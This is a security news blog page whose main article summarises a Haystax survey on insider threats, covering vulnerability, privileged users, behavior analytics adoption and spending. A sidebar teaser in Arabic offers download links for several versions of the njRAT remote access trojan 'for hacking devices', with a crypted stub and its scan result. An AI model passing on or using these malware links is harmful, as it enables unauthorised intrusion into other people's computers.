Cybersecurity pros don’t feel equipped to stop insider attacks







Based on interviews with nearly 1,500 cybersecurity professionals over three years, Haystax Technology released a study that makes it clear that organizations are feeling the pressure from insider threats and are ramping up detection, prevention and remediation.
Regular employees are surpassing privileged users as biggest insider security risk
stop insider attacks
“One consistent message we heard in all of these interviews was that cybersecurity professionals don’t feel equipped to stop insider attacks, despite an increase in funding for things like better controls and training,” said Haystax CEO Bryan Ware. “I’m not surprised that so many are now using analytics, as they need actionable intelligence to proactively identify and defend against threats from both malicious insiders and negligent users.”

Key findings

  • In 2017, 90 percent of organizations reported feeling vulnerable to insider attacks, up from 64 percent in 2015. Haystax predicts 99 percent of organizations will feel vulnerable this year as they struggle with excessive access privileges and an increasing number of devices with access to sensitive data.
  • Privileged users were cited as the biggest insider threat concern for 55 percent of organizations in 2017. Haystax predicts that 2018 will be the year when regular employees surpass trusted insiders as the greater risk.
  • Just 19 percent of organizations deployed user behavior analytics (UBA) solutions in 2016 to proactively monitor employee populations, a figure that jumped to nearly 30 percent last year. Haystax predicts that number will jump to 40 percent this year as AI techniques enhance UBA technologies.
  • In 2015 half of organizations were not leveraging analytics to detect insider threats. Now, that figure has shrunk to just 8 percent as organizations see the inherent value of UBA technologies for insider threat detection, prevention and remediation.
  • Investments in insider threat solutions have grown significantly since 2015, when just 34 percent of organizations increased their investment in combatting insider threat. That figure rose to nearly 50 percent in 2017 and Haystax experts predict it to jump to nearly 60 percent this year, as companies grow more concerned about the rise in the volume and frequency of both external and insider attacks.
This will be a watershed year for insider threat, one that will require increased spending related to addressing insider threats, as well as the adoption of analytical tools to prevent, detect and remediate such attacks.

Comments

Post a Comment

Popular posts from this blog

تحميل اصدارات برنامج njRAT لاختراق الاجهزة 2017

Image
تحميل   اصدارات برنامج  njRAT  لاختراق الاجهزة  2017 ---------------------------------------------------------------------------------------------- السلام عليكم ورحمة الله تعالى وبركاته تحميل جميع اصدارات برنامج  njRAT  الشهير لاختراق الاجهزة مع تشفيرة متواضعة  لستب njRAT 5 نتيجة فحص تشفيرة الستب http://pscan.xyz/results.php?id=VbGXRoAJjWiEeSHH الان ناتي الى التحميل njRAT_v0.3.5 للتحميل https://up.top4top.net/downloadf-483nr2oz4-rar.html njRAT_v0.4.1 https://up.top4top.net/downloadf-483nhv6j2-rar.html njRAT_v0.5.0 للتحميل https://up.top4top.net/downloadf-483nihol1-rar.html njRAT-v0.6.4 للتحميل https://up.top4top.net/downloadf-483dr2zk1-rar.html njRAT-v0.7d
Read more

Cybersecurity in 2018: Three predictions and one hope

Image
Effective cybersecurity means keeping a close eye on the threats you currently face, and an even closer eye on the threats to come. As you consider your security strategy and investments for the coming year, here are three key trends that will define the threat landscape in 2018, and one hope for a more effective approach to protection.  Risk will continue to shift from infrastructure to the application layer As web apps have evolved from basic information and ecommerce functionality to full-fledged online services, their code and customer data have made them an increasingly appealing target for hackers. Not only are they accessible via the open Internet—they’re also woefully underprotected, with the application layer drawing only 3 percent of the typical security budget at a time when it accounts for 30 percent of successful breaches, according to Verizon. While an incident of the magnitude of the Equifax breach can hardly be said to have a silver lining, at
Read more

Which phishing messages have a near 100% click rate?

Image
Training employees to spot phishing emails, messages and phone calls can’t be done just once or once a year if the organization wants to see click rates decrease. For one thing, employees come and go (and change roles) with regularity. Secondly, threats change over time. Thirdly, knowledge and practices that aren’t regularly reinforced will be lost. And, finally, awareness isn’t the same as knowledge. “Just knowing a threat exists isn’t the same as knowing how to recognize and respond to a threat when it presents itself. In-depth education about phishing prevention is needed to create lasting behavior change,” Wombat Security researchers point out. The statistics included in the company’s latest annual State of the Phish report show the difference made by both the tools used to train end users to recognize and avoid phishing attacks and how often they are used. In the US, most organizations use computer-based online security awareness training and simulated
Read more